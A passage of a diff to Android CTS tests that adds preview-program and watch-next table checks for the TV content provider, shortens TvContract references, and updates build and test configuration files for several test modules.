+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_AUTHOR);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_REVIEW_RATING_STYLE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_REVIEW_RATING);
+        }
+    }
+
+    private void verifyWatchNextProgram(Uri programUri, ContentValues expectedValues,
+            long programId) {
+        verifyPreviewProgram(programUri, expectedValues, programId);
+        try (Cursor cursor = mContentResolver.query(programUri, null, null, null, null)) {
+            assertNotNull(cursor);
+            assertEquals(cursor.getCount(), 1);
+            assertTrue(cursor.moveToNext());
+
+            verifyIntegerColumn(cursor, expectedValues, WatchNextPrograms.COLUMN_WATCH_NEXT_TYPE);
             verifyLongColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_START_TIME_UTC_MILLIS);
-            verifyLongColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_END_TIME_UTC_MILLIS);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_BROADCAST_GENRE);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_CANONICAL_GENRE);
-            verifyStringColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_SHORT_DESCRIPTION);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_LONG_DESCRIPTION);
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Programs.COLUMN_VIDEO_WIDTH);
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Programs.COLUMN_VIDEO_HEIGHT);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_AUDIO_LANGUAGE);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_CONTENT_RATING);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_POSTER_ART_URI);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_THUMBNAIL_URI);
-            verifyBlobColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_INTERNAL_PROVIDER_DATA);
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Programs.COLUMN_VERSION_NUMBER);
+                    WatchNextPrograms.COLUMN_LAST_ENGAGEMENT_TIME_UTC_MILLIS);
         }
     }
 
     private void verifyDeprecatedColumsInProgram(Uri programUri, ContentValues expectedValues) {
         final String[] DEPRECATED_COLUMNS_PROJECTION = {
-            TvContract.Programs.COLUMN_SEASON_NUMBER,
-            TvContract.Programs.COLUMN_EPISODE_NUMBER,
+            Programs.COLUMN_SEASON_NUMBER,
+            Programs.COLUMN_EPISODE_NUMBER,
         };
         try (Cursor cursor = mContentResolver.query(
                 programUri, DEPRECATED_COLUMNS_PROJECTION, null, null, null)) {
             assertNotNull(cursor);
             assertEquals(cursor.getCount(), 1);
             assertTrue(cursor.moveToNext());
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Programs.COLUMN_SEASON_NUMBER);
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Programs.COLUMN_EPISODE_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_SEASON_NUMBER);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_EPISODE_NUMBER);
         }
     }
 
@@ -363,7 +682,7 @@
             return;
         }
         // Set-up: add a channel.
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
         Uri channelUri = mContentResolver.insert(mChannelsUri, values);
         Uri logoUri = TvContract.buildChannelLogoUri(channelUri);
         Bitmap logo = BitmapFactory.decodeResource(getContext().getResources(), R.drawable.robot);
@@ -398,17 +717,86 @@
         verifyProgram(programUri, values, programId);
 
         // Test: update
-        values.put(TvContract.Programs.COLUMN_EPISODE_TITLE, "Sample title");
-        values.put(TvContract.Programs.COLUMN_SHORT_DESCRIPTION, "Short description");
-        values.put(TvContract.Programs.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
+        values.put(Programs.COLUMN_TITLE, "new_program_title");
+        values.put(Programs.COLUMN_SHORT_DESCRIPTION, "");
+        values.put(Programs.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
 
         mContentResolver.update(programUri, values, null, null);
         verifyProgram(programUri, values, programId);
 
         // Test: delete
         mContentResolver.delete(programsUri, null, null);
-        try (Cursor cursor = mContentResolver.query(
-                programsUri, PROGRAMS_PROJECTION, null, null, null)) {
+        try (Cursor cursor = mContentResolver.query(programsUri, null, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
+    public void verifyPreviewProgramsTable(Uri previewProgramsUri, long channelId) {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyPreviewProgramValues(channelId);
+
+        Uri rowUri = mContentResolver.insert(previewProgramsUri, values);
+        long programId = ContentUris.parseId(rowUri);
+        Uri programUri = TvContract.buildPreviewProgramUri(programId);
+        verifyPreviewProgram(programUri, values, programId);
+
+        values.remove(PreviewPrograms.COLUMN_TYPE);
+        try {
+            mContentResolver.insert(previewProgramsUri, values);
+            fail("Type should be a required column.");
+        } catch (IllegalArgumentException e) {
+            // Expected.
+        }
+
+        // Test: update
+        values.put(PreviewPrograms.COLUMN_EPISODE_TITLE, "Sample title");
+        values.put(PreviewPrograms.COLUMN_SHORT_DESCRIPTION, "Short description");
+        values.put(PreviewPrograms.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
+
+        mContentResolver.update(programUri, values, null, null);
+        verifyPreviewProgram(programUri, values, programId);
+
+        // Test: delete
+        mContentResolver.delete(previewProgramsUri, null, null);
+        try (Cursor cursor = mContentResolver.query(previewProgramsUri, null, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
+    public void verifyWatchNextProgramsTable(Uri watchNextProgramsUri) {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Test: insert
+        ContentValues values = createDummyWatchNextProgramValues();
+
+        Uri rowUri = mContentResolver.insert(watchNextProgramsUri, values);
+        long programId = ContentUris.parseId(rowUri);
+        Uri programUri = TvContract.buildWatchNextProgramUri(programId);
+        verifyWatchNextProgram(programUri, values, programId);
+
+        values.remove(WatchNextPrograms.COLUMN_TYPE);
+        try {
+            mContentResolver.insert(watchNextProgramsUri, values);
+            fail("Type should be a required column.");
+        } catch (IllegalArgumentException e) {
+            // Expected.
+        }
+
+        // Test: update
+        values.put(WatchNextPrograms.COLUMN_EPISODE_TITLE, "Sample title");
+        values.put(WatchNextPrograms.COLUMN_SHORT_DESCRIPTION, "Short description");
+        values.put(WatchNextPrograms.COLUMN_CONTENT_ID, "CID-4328-2548");
+
+        mContentResolver.update(programUri, values, null, null);
+        verifyWatchNextProgram(programUri, values, programId);
+
+        // Test: delete
+        mContentResolver.delete(watchNextProgramsUri, null, null);
+        try (Cursor cursor = mContentResolver.query(watchNextProgramsUri, null, null, null, null)) {
             assertEquals(0, cursor.getCount());
         }
     }
@@ -419,14 +807,14 @@
         }
         // Test: insert
         ContentValues expected = createDummyProgramValues(channelId);
-        expected.put(TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER, "3");
-        expected.put(TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER, "9");
+        expected.put(Programs.COLUMN_SEASON_DISPLAY_NUMBER, "3");
+        expected.put(Programs.COLUMN_EPISODE_DISPLAY_NUMBER, "9");
 
         ContentValues input = new ContentValues(expected);
-        input.remove(TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER);
-        input.remove(TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER);
-        input.put(TvContract.Programs.COLUMN_SEASON_NUMBER, 3);
-        input.put(TvContract.Programs.COLUMN_EPISODE_NUMBER, 9);
+        input.remove(Programs.COLUMN_SEASON_DISPLAY_NUMBER);
+        input.remove(Programs.COLUMN_EPISODE_DISPLAY_NUMBER);
+        input.put(Programs.COLUMN_SEASON_NUMBER, 3);
+        input.put(Programs.COLUMN_EPISODE_NUMBER, 9);
 
         Uri rowUri = mContentResolver.insert(programsUri, input);
         long programId = ContentUris.parseId(rowUri);
@@ -435,10 +823,10 @@
         verifyDeprecatedColumsInProgram(programUri, input);
 
         // Test: update
-        expected.put(TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER, "4");
-        expected.put(TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER, "10");
-        input.put(TvContract.Programs.COLUMN_SEASON_NUMBER, 4);
-        input.put(TvContract.Programs.COLUMN_EPISODE_NUMBER, 10);
+        expected.put(Programs.COLUMN_SEASON_DISPLAY_NUMBER, "4");
+        expected.put(Programs.COLUMN_EPISODE_DISPLAY_NUMBER, "10");
+        input.put(Programs.COLUMN_SEASON_NUMBER, 4);
+        input.put(Programs.COLUMN_EPISODE_NUMBER, 10);
 
         mContentResolver.update(programUri, input, null, null);
         verifyProgram(programUri, expected, programId);
@@ -457,7 +845,7 @@
             return;
         }
         // Set-up: add a channel.
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
         Uri channelUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(channelUri);
 
@@ -469,6 +857,93 @@
                 channelId);
     }
 
+    public void testPreviewProgramsTable() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Set-up: add a preview type channel.
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+
+        verifyPreviewProgramsTable(PreviewPrograms.CONTENT_URI, channelId);
+    }
+
+    public void testWatchNextProgramsTable() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        verifyWatchNextProgramsTable(WatchNextPrograms.CONTENT_URI);
+    }
+
+    public void testPreviewProgramsTableForIllegalAccess() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Set-up: add a channel and preview program.
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        Uri previewProgramsUri = TvContract.buildPreviewProgramsUriForChannel(channelId);
+        values = createDummyPreviewProgramValues(channelId);
+        Uri previewProgramUri = mContentResolver.insert(previewProgramsUri, values);
+
+        values.put(PreviewPrograms.COLUMN_BROWSABLE, 1);
+        try {
+            mContentResolver.insert(previewProgramUri, values);
+            fail("PreviewPrograms.COLUMN_BROWSABLE should not be accessible.");
+        } catch (Exception e) {
+            // Expected.
+        }
+
+        mContentResolver.delete(previewProgramUri, null, null);
+        try (Cursor cursor = mContentResolver.query(
+                previewProgramUri, PROGRAMS_PROJECTION, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
+    public void testPreviewProgramsTableForModifyChannelId() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Set-up: add a channel and preview program.
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+        Uri previewProgramsUri = TvContract.buildPreviewProgramsUriForChannel(channelId);
+        values = createDummyPreviewProgramValues(channelId);
+        Uri previewProgramUri = mContentResolver.insert(previewProgramsUri, values);
+
+        // Channel ID cannot be changed
+        values.put(PreviewPrograms.COLUMN_ITEM_COUNT, 1);
+        values.put(PreviewPrograms.COLUMN_CHANNEL_ID, channelId + 1);
+        int result = mContentResolver.update(previewProgramUri, values, null, null);
+        assertEquals(0, result);
+
+        // Same Channel ID should not fail updating
+        values.put(PreviewPrograms.COLUMN_CHANNEL_ID, channelId);
+        result = mContentResolver.update(previewProgramUri, values, null, null);
+        assertEquals(1, result);
+
+        // Update without Channel ID should not fail
+        values.put(PreviewPrograms.COLUMN_ITEM_COUNT, 2);
+        values.remove(PreviewPrograms.COLUMN_CHANNEL_ID);
+        result = mContentResolver.update(previewProgramUri, values, null, null);
+        assertEquals(1, result);
+
+        // Update channel ID with CONTENT_URI should fail
+        values.put(PreviewPrograms.COLUMN_CHANNEL_ID, channelId);
+        result = mContentResolver.update(PreviewPrograms.CONTENT_URI, values, null, null);
+        assertEquals(0, result);
+
+        mContentResolver.delete(previewProgramUri, null, null);
+        try (Cursor cursor = mContentResolver.query(
+                previewProgramUri, PROGRAMS_PROJECTION, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
     private void verifyOverlap(long startMillis, long endMillis, int expectedCount,
             long channelId, Uri channelUri) {
         try (Cursor cursor = mContentResolver.query(TvContract.buildProgramsUriForChannel(
@@ -490,13 +965,13 @@
         final long hour = 3600000l;
 
         // Set-up: add a channel and program.
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
         Uri channelUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(channelUri);
         Uri programsUri = TvContract.buildProgramsUriForChannel(channelId);
         values = createDummyProgramValues(channelId);
-        values.put(TvContract.Programs.COLUMN_START_TIME_UTC_MILLIS, programStartMillis);
-        values.put(TvContract.Programs.COLUMN_END_TIME_UTC_MILLIS, programEndMillis);
+        values.put(Programs.COLUMN_START_TIME_UTC_MILLIS, programStartMillis);
+        values.put(Programs.COLUMN_END_TIME_UTC_MILLIS, programEndMillis);
         mContentResolver.insert(programsUri, values);
 
         // Overlap 1: starts early, ends early.
@@ -567,6 +1042,8 @@
             verifyIntegerColumn(cursor, expectedValues,
                     RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG4);
             verifyIntegerColumn(cursor, expectedValues, RecordedPrograms.COLUMN_VERSION_NUMBER);
+            verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_REVIEW_RATING_STYLE);
+            verifyStringColumn(cursor, expectedValues, RecordedPrograms.COLUMN_REVIEW_RATING);
         }
     }
 
@@ -580,9 +1057,9 @@
         verifyRecordedProgram(recordedProgramUri, values, recordedProgramId);
 
         // Test: update
-        values.put(TvContract.RecordedPrograms.COLUMN_EPISODE_TITLE, "episode_title1");
-        values.put(TvContract.RecordedPrograms.COLUMN_SHORT_DESCRIPTION, "short_description1");
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_DATA,
+        values.put(RecordedPrograms.COLUMN_EPISODE_TITLE, "episode_title1");
+        values.put(RecordedPrograms.COLUMN_SHORT_DESCRIPTION, "short_description1");
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_DATA,
                 "internal_provider_data1".getBytes());
 
         mContentResolver.update(recordedProgramUri, values, null, null);
@@ -600,11 +1077,11 @@
             return;
         }
         // Set-up: add a channel.
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
         Uri channelUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(channelUri);
 
-        verifyRecordedProgramsTable(TvContract.RecordedPrograms.CONTENT_URI, channelId);
+        verifyRecordedProgramsTable(RecordedPrograms.CONTENT_URI, channelId);
     }
 
     private void verifyQueryWithSortOrder(Uri uri, final String[] projection,
@@ -649,68 +1126,60 @@
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        final String[] projection = { TvContract.Channels._ID };
-        verifyQueryWithSortOrder(TvContract.Channels.CONTENT_URI, projection,
-                TvContract.Channels._ID + " ASC");
+        final String[] projection = { Channels._ID };
+        verifyQueryWithSortOrder(Channels.CONTENT_URI, projection, Channels._ID + " ASC");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnQuery_Channels() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        final String[] projection = { TvContract.Channels._ID };
-        verifyQueryWithSelection(TvContract.Channels.CONTENT_URI, projection,
-                TvContract.Channels._ID + ">0");
+        final String[] projection = { Channels._ID };
+        verifyQueryWithSelection(Channels.CONTENT_URI, projection, Channels._ID + ">0");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnUpdate_Channels() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        verifyUpdateWithSelection(TvContract.Channels.CONTENT_URI,
-                TvContract.Channels._ID + ">0");
+        verifyUpdateWithSelection(Channels.CONTENT_URI, Channels._ID + ">0");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnDelete_Channels() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        verifyDeleteWithSelection(TvContract.Channels.CONTENT_URI,
-                TvContract.Channels._ID + ">0");
+        verifyDeleteWithSelection(Channels.CONTENT_URI, Channels._ID + ">0");
     }
 
     public void testAllEpgPermissionBlocksSortOrderOnQuery_Programs() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        final String[] projection = { TvContract.Programs._ID };
-        verifyQueryWithSortOrder(TvContract.Programs.CONTENT_URI, projection,
-                TvContract.Programs._ID + " ASC");
+        final String[] projection = { Programs._ID };
+        verifyQueryWithSortOrder(Programs.CONTENT_URI, projection, Programs._ID + " ASC");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnQuery_Programs() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        final String[] projection = { TvContract.Channels._ID };
-        verifyQueryWithSelection(TvContract.Programs.CONTENT_URI, projection,
-                TvContract.Programs._ID + ">0");
+        final String[] projection = { Channels._ID };
+        verifyQueryWithSelection(Programs.CONTENT_URI, projection, Programs._ID + ">0");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnUpdate_Programs() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        verifyUpdateWithSelection(TvContract.Programs.CONTENT_URI,
-                TvContract.Programs._ID + ">0");
+        verifyUpdateWithSelection(Programs.CONTENT_URI, Programs._ID + ">0");
     }
 
     public void testAllEpgPermissionBlocksSelectionOnDelete_Programs() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
-        verifyDeleteWithSelection(TvContract.Programs.CONTENT_URI,
-                TvContract.Programs._ID + ">0");
+        verifyDeleteWithSelection(Programs.CONTENT_URI, Programs._ID + ">0");
     }
 
     public void testDefaultValues() throws Exception {
@@ -718,17 +1187,16 @@
             return;
         }
         ContentValues values = new ContentValues();
-        values.put(TvContract.Channels.COLUMN_INPUT_ID, mInputId);
+        values.put(Channels.COLUMN_INPUT_ID, mInputId);
         Uri channelUri = mContentResolver.insert(mChannelsUri, values);
         assertNotNull(channelUri);
         try (Cursor cursor = mContentResolver.query(
                 channelUri, CHANNELS_PROJECTION, null, null, null)) {
             cursor.moveToNext();
-            assertEquals(TvContract.Channels.TYPE_OTHER,
-                    cursor.getString(cursor.getColumnIndex(TvContract.Channels.COLUMN_TYPE)));
-            assertEquals(TvContract.Channels.SERVICE_TYPE_AUDIO_VIDEO,
-                    cursor.getString(cursor.getColumnIndex(
-                            TvContract.Channels.COLUMN_SERVICE_TYPE)));
+            assertEquals(Channels.TYPE_OTHER,
+                    cursor.getString(cursor.getColumnIndex(Channels.COLUMN_TYPE)));
+            assertEquals(Channels.SERVICE_TYPE_AUDIO_VIDEO,
+                    cursor.getString(cursor.getColumnIndex(Channels.COLUMN_SERVICE_TYPE)));
         }
         values.clear();
     }
@@ -890,16 +1358,16 @@
     }
 
     private Uri insertProgramWithBroadcastGenre(String[] broadcastGenre) {
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
         Uri channelUri = mContentResolver.insert(Channels.CONTENT_URI, values);
         long channelId = ContentUris.parseId(channelUri);
         long curTime = System.currentTimeMillis();
         values = new ContentValues();
-        values.put(TvContract.Programs.COLUMN_CHANNEL_ID, channelId);
-        values.put(TvContract.Programs.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
-        values.put(TvContract.Programs.COLUMN_START_TIME_UTC_MILLIS, curTime - 60000);
-        values.put(TvContract.Programs.COLUMN_END_TIME_UTC_MILLIS, curTime + 60000);
-        Uri programUri = mContentResolver.insert(TvContract.Programs.CONTENT_URI, values);
+        values.put(Programs.COLUMN_CHANNEL_ID, channelId);
+        values.put(Programs.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+        values.put(Programs.COLUMN_START_TIME_UTC_MILLIS, curTime - 60000);
+        values.put(Programs.COLUMN_END_TIME_UTC_MILLIS, curTime + 60000);
+        Uri programUri = mContentResolver.insert(Programs.CONTENT_URI, values);
         assertNotNull(programUri);
         return programUri;
     }
@@ -920,8 +1388,8 @@
         }
         String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
         insertProgramWithBroadcastGenre(broadcastGenre);
-        try (Cursor c = mContentResolver.query(TvContract.Programs.CONTENT_URI,
-                new String[] {TvContract.Programs.COLUMN_BROADCAST_GENRE}, null, null, null)) {
+        try (Cursor c = mContentResolver.query(Programs.CONTENT_URI,
+                new String[] {Programs.COLUMN_BROADCAST_GENRE}, null, null, null)) {
             assertNotNull(c);
             assertEquals(1, c.getCount());
             c.moveToNext();
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
index 76cd550..8147ea9 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputInfoTest.java
@@ -96,8 +96,6 @@
         mStubInfo.writeToParcel(p, 0);
         p.setDataPosition(0);
         TvInputInfo infoFromParcel = TvInputInfo.CREATOR.createFromParcel(p);
-        assertEquals(mStubInfo.createSettingsIntent().getComponent(),
-                infoFromParcel.createSettingsIntent().getComponent());
         assertEquals(mStubInfo.createSetupIntent().getComponent(),
                 infoFromParcel.createSetupIntent().getComponent());
         assertEquals(mStubInfo.describeContents(), infoFromParcel.describeContents());
@@ -116,18 +114,6 @@
         p.recycle();
     }
 
-    public void testGetIntentForSettingsActivity() throws Exception {
-        if (!Utils.hasTvInputFramework(getContext())) {
-            return;
-        }
-        Intent intent = mStubInfo.createSettingsIntent();
-
-        assertEquals(intent.getComponent(), new ComponentName(getContext(),
-                TvInputSettingsActivityStub.class));
-        String inputId = intent.getStringExtra(TvInputInfo.EXTRA_INPUT_ID);
-        assertEquals(mStubInfo.getId(), inputId);
-    }
-
     public void testGetIntentForSetupActivity() throws Exception {
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 526f401..e1c165b 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -19,7 +19,6 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.PollingCheck;
 import android.media.tv.TvContentRating;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
@@ -27,6 +26,8 @@
 import android.os.Handler;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
index 47b5527..ab2073b 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.media.PlaybackParams;
 import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
@@ -45,6 +44,8 @@
 
 import android.tv.cts.R;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 59cb902..47a6517 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.media.tv.TvContract;
 import android.media.tv.TvInputInfo;
@@ -38,6 +37,8 @@
 
 import android.tv.cts.R;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index 6d85453..c595635 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/uiautomation/AndroidTest.xml b/tests/tests/uiautomation/AndroidTest.xml
index c4f1665..183a08e 100644
--- a/tests/tests/uiautomation/AndroidTest.xml
+++ b/tests/tests/uiautomation/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UI Automation test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiAutomationTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 76b4916..08b9646 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -24,7 +24,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index e7717c0..e26c721 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UID Isolation test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUidIsolationTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.uidisolation.cts" />
+        <option name="runtime-hint" value="15m" />
     </test>
 </configuration>
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index 2d69ae2..52d8580 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -26,13 +26,18 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    mockito-target-minus-junit4 \
+    android-support-test \
+    legacy-android-test
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsUiRenderingTestCases
 
-# uncomment when dalvik.annotation.Test* are removed or part of SDK
-#LOCAL_SDK_VERSION := current
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/uirendering/AndroidManifest.xml b/tests/tests/uirendering/AndroidManifest.xml
index fcd38ae..59f7522 100644
--- a/tests/tests/uirendering/AndroidManifest.xml
+++ b/tests/tests/uirendering/AndroidManifest.xml
@@ -30,6 +30,8 @@
         <activity android:name="android.uirendering.cts.testinfrastructure.DrawActivity"
                   android:theme="@style/WhiteBackgroundTheme"
                   android:resizeableActivity="false" />
+        <activity android:name="android.uirendering.cts.testinfrastructure.MaterialActivity"
+                  android:theme="@android:style/Theme.Material.Light" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index c89300b..4a4f194 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UI Rendering test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiRenderingTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/uirendering/assets/green-p3.png b/tests/tests/uirendering/assets/green-p3.png
new file mode 100644
index 0000000..02f4cd1
--- /dev/null
